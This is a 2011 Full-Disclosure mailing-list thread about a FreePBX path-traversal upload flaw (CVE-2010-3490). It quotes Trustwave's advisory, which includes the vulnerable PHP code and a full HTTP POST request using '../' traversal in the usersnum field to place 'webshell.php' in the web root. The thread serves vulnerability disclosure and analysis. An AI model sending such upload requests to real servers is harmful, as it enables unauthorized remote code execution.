Message-ID: <CANtF8ND_BiFCO5MGAe8Vt0=uFmj_d5ekr_05BzzHV_6DGV669g@mail.gmail.com>
Date: Sat, 17 Sep 2011 12:58:45 -0500
From: Grandma Eubanks <tborland1@...il.com>
To: secn3t@...il.com
Cc: info@...stwave.com, full-disclosure@...ts.grok.org.uk,
	ali kilinckiran <fantasize_2003@...mail.com>
Subject: Re: FreePBX Unfounded RCE PoC or rather Misguided
 PoC maybe ?

So, I found several FreePBX vulnerabilities about a week before SpiderLabs
came out with this new PoC (which I can't believe I missed).
http://seclists.org/fulldisclosure/2010/Jul/180
Now, you can use my LFI and transport particular files to a TFTP accessible
path, assuming TFTP is enabled on that server (which it seems to be in most
of the cases).

As for the vulnerability you're using...how exact are you being? Take a look
at the code:
$dest = "{$usersnum}-";
$destfilename = $recordings_save_path.$dest."ivrrecording.".$suffix;
move_uploaded_file($_FILES['ivrfile']['tmp_name'], $destfilename);

Alright, so the usernumber is a user definable value and there was no check
to make sure this was an actual integer. So the problem here is you're
allowed to specify a path to upload a file to. Now, let's take a look at
what you put for your path:

Content-Disposition: form-data; name="usersnum"
../../../../../var/www/html/admin/SpiderLabs

So, they access their uploaded file at:
http://site.com/admin/SpiderLabs-ivrrecording.php<http://10.10.1.3/admin/SpiderLabs-ivrrecording.php>

Because ../../../../ gets passed the ivrfile and ../ gets passed the
tmp_name.

That does not mean the file has to be uploaded in /admin, it can be uploaded
to the local file sever anywhere the ARI has appropriate privileges to as
was mentioned, this is just the PoC. I wouldn't be surprised if PoC's come
out that shouldn't be functional for a normal person as to prevent usage
without understanding.

There's no check before move_uploaded_to for the user supplied $usernum.
Now, as I haven't looked in-depth at the supplied PoC, I could be wrong.
However, given my experience with their software already, I can pretty much
believe this vuln at face value.

My main question is, are you trying this without any credentials?

On Fri, Sep 16, 2011 at 10:49 PM, xD 0x41 <secn3t@...il.com> wrote:

> Just like to point out this is total rubbish, along with the other freePBX
> vuln wich was listed and, wich i stupidly wasted time writing a poc for
> 9wich only works if admin is enabled)
> I DID make this in 3 languages, and had it tested, it ONLY ran under admin
> conditions...whats so useful then??
> I have got the PoC's I made, and i copied the header to a T, it is NOT one
> bit different to the example header BUT I ADDED CODE to send it
> properly..and to open any 'webshell'
> ok lets break it down:
>
>
> Trustwave's SpiderLabs Security Advisory TWSL2010-005:
> FreePBX recordings interface allows remote code execution
> ^^^here we have code execution (does not say it requires ADMIN todo this
> and someone basically at a console, pressing a button for you :P)
>
> https://www.trustwave.com/spiderlabs/advisories/TWSL2010-005.txt
>
> Published: 2010-09-23
> Version: 1.0
>
> Vendor: FreePBX (http://www.freepbx.org/)
> Product: FreePBX and VOIP solutions (AsteriskNOW, TrixBox, etc) using it
> Version(s) affected: 2.8.0 and below
>
> Product Description:
> FreePBX is an easy to use GUI (graphical user interface) that controls and
> manages Asterisk, the world's most popular open source telephony engine
> software. FreePBX has been developed and hardened by thousands of
> volunteers,
> has been downloaded over 5,000,000 times, and is utilized in an estimated
> 500,000 active phone systems.
>
> Source: http://www.freepbx.org
> Credit: Wendel G. Henrique of Trustwave's SpiderLabs
>
> CVE: CVE-2010-3490
>
> Finding:
> The configuration interface for FreePBX is prone to a remote arbitrary code
> execution on the system recordings menu. FreePBX doesn't handle file
> uploads
> in a secure manner, allowing an attacker to manipulate the file extension
> and the beginning of the uploaded file name.
>
> The piece of code below, found in page.recordings.php, illustrates part of
> the recordings upload feature.
> ^^^^ page.recordings.php not accessible or non existent.
>
> /* Code removed to fit better on advisory */
> <?php
>   if (isset($_FILES['ivrfile']['tmp_name']) &&
>   is_uploaded_file($_FILES['ivrfile']['tmp_name'])) {
>     if (empty($usersnum)) {
>       $dest = "unnumbered-";
>     } else {
>       $dest = "{$usersnum}-";
>     }
>     $suffix = substr(strrchr($_FILES['ivrfile']['name'], "."), 1);
>     $destfilename = $recordings_save_path.$dest."ivrrecording.".$suffix;
>     move_uploaded_file($_FILES['ivrfile']['tmp_name'], $destfilename);
>     echo "<h6>"._("Successfully uploaded")."
>       ".$_FILES['ivrfile']['name']."</h6>";
>     $rname = rtrim(basename($_FILES['ivrfile']['name'], $suffix), '.');
>   } ?>
>
> /* Code removed to fit better on advisory */
>
> When a file is uploaded, a copy is saved temporarily under the /tmp/
> directory, where the name of the file is composed of
> user-controlled-staticname.extension, where:
>
> "user-controlled" is $usersnum variable.
> "staticname" value is -ivrrecording.
> "extension" is controlled by the user.
>
> If $usersnum variable is not defined, then a static string (unnumbered)
> is used.
>
> Finally, when the user clicks on the save button on the System
> Recordings    /// ohhhh ok so someone MUSt 'save' it, in PHYSICAL form, this
> bit, was what i overlooked in this first adv.... wth!!!
> interface, the file is saved with the original file name provided by the
> user under the /var/lib/asterisk/sounds/custom/
> directory.                             /// and bang, sorry but unable to see
> this file once yet... abit useful eh ?> guess ppl dont press 'save' to an
> unknown,nothing-on-it,recording.
>
>
> When uploading a file, an attacker can manipulate the $usersnum variable to
> perform a path traversal attack and save it anyplace that the web
> server      /// ok this, i dont really care for, but it is abit useless when
> the remote code is really the feature of this
> user has access, for example the Apache's DocumentRoot. This allows an
> attacker to upload malicious code to the web server and execute it under
> the
> webserver's access permissions.
>
> The HTTP request below illustrates the upload of a phpshell.
>
> POST /admin/config.php HTTP/1.1
> Host: 10.10.1.3
> User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5;
> en-US; rv:1.9.1.7) Gecko/20101221 Firefox/3.5.7
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
> Accept-Language: en-us,en;q=0.5
> Accept-Encoding: gzip,deflate
> Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
> Keep-Alive: 300
> Proxy-Connection: keep-alive
> Referer: http://10.10.1.3/admin/config.php
> Cookie: ARI=cookieValue; PHPSESSID=cookieValue
> Authorization: Basic base64auth
> Content-Type: multipart/form-data;
> boundary=---------------------------5991806838789183981588991120
> Content-Length: 116089
>
> -----------------------------5991806838789183981588991120
> Content-Disposition: form-data; name="display"
>
> recordings
> -----------------------------5991806838789183981588991120
> Content-Disposition: form-data; name="action"
>
> recordings_start
> -----------------------------5991806838789183981588991120
> Content-Disposition: form-data; name="usersnum"
>
> ../../../../../var/www/html/admin/SpiderLabs
> -----------------------------5991806838789183981588991120
> Content-Disposition: form-data; name="ivrfile"; filename="webshell.php"
> Content-Type: application/octet-stream
>
> <?php
> /* WebShell code goes here */
> ?>
>
> -----------------------------5991806838789183981588991120--
> /// good luck trying to find this and note, now we have to access a file at
> where??? lets see....
>
> To access the webshell in this example, an attacker would use
> the following path: http://10.10.1.3/admin/SpiderLabs-ivrrecording.php
> // ahhh admin/ dir ?!! so thts all it was! damn, crp on me eh! ohwell...
> there goes remote-code-exec eh ? this would be more like,local,nothing,no
> patch was issued...
>
> Maintainer Response:
> The maintainer has released a patch to address this issue for all
> versions     //please provide a PoC wich works, as MY ONES dont, so,
> please.. am waiting, id prefer the PoC to stay private,but i request it
> please -ty
> of the software 2.3 and newer.
>
> Details of the patch can be found here:
> http://www.freepbx.org/trac/ticket/4553
>
> Remediation Steps:
> Install the maintainer-provided patch.
>
> Vendor Communication Timeline:
> 08/13/10 - Initial contact
> 08/18/10 - Vulnerability disclosed
> 09/16/10 - Initial fix proposed by
> maintainer                                                // so we are
> fixing a bug,wich can only b used as an admin... hmmm
> 09/22/10 - Fix reviewed, improved, and released by maintainer
> 09/23/10 - Advisory public release
>
> Revision History:
> 1.0 Initial publication
>
> About Trustwave:
> Trustwave is the leading provider of on-demand and subscription-based
> information security and payment card industry compliance management
> solutions
> to businesses and government entities throughout the world. For
> organizations
> faced with today's challenging data security and compliance environment,
> Trustwave provides a unique approach with comprehensive solutions that
> include
> its flagship TrustKeeper compliance management software and other
> proprietary
> security solutions. Trustwave has helped thousands of
> organizations--ranging
> from Fortune 500 businesses and large financial institutions to small and
> medium-sized retailers--manage compliance and secure their network
> infrastructure, data communications and critical information assets.
> Trustwave
> is headquartered in Chicago with offices throughout North America,
> South America, Europe, Africa, China and Australia. For more information,
> visit https://www.trustwave.com
>
> About Trustwave's SpiderLabs:
> SpiderLabs is the advance security team at Trustwave responsible for
> incident
> response and forensics, ethical hacking and application security tests for
> Trustwave's clients. SpiderLabs has responded to hundreds of security
> incidents, performed thousands of ethical hacking exercises and tested the
> security of hundreds of business applications for Fortune 500
> organizations.
> For more information visit https://www.trustwave.com/spiderlabs
>
> Disclaimer:
> The information provided in this advisory is provided "as is" without
> warranty
> of any kind. Trustwave disclaims all warranties, either express or implied,
> including the warranties of merchantability and fitness for a particular
> purpose. In no event shall Trustwave or its suppliers be liable for any
> damages whatsoever including direct, indirect, incidental, consequential,
> loss of business profits or special damages, even if Trustwave or its
> suppliers have been advised of the possibility of such damages. Some states
> do not allow the exclusion or limitation of liability for consequential or
> incidental damages so the foregoing limitation may not apply.
>
> Anyhow, this was the last freePBX PoC i saw,and just am doing auditing atm,
> i realised i had already tested this exploit but i just dont see what or if
> i missed something here.. i did disclose my own Pocs on the seclists, and if
> theyre needed, i guess they would not be to hard to find nowdays.. but this
> topic i need some closure on... i have to fix/advise and, i guess i cannot
> do it to my own skill level would like to, or, im wrong, and it is just my
> own code (hence why i mean skill level), at perl/php or whatever codes were
> made, but, i did use working code for it..and it did not work.... i am sure
> of that, and would be happy to find the working pocs anytime... but id
> prefer to see that header PoC,as i repeated this exactly, line by line and
> debugged it to b sure,and it was perfect..and no go :s, it is frustrating
> because VOiP is now becoming fastly, a BIG area of the internet,and alot
> more people want to know why they install and register 'elastix' for ex and
> have 3000 plugins autop... some ppl want a pruned version, or, fixed
> versions without updates, it is just getting to be a way bigger area,and
> will grow...
> Please try to understand that this is only research.
> cheers,
> xd / #haxnet@Ef
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists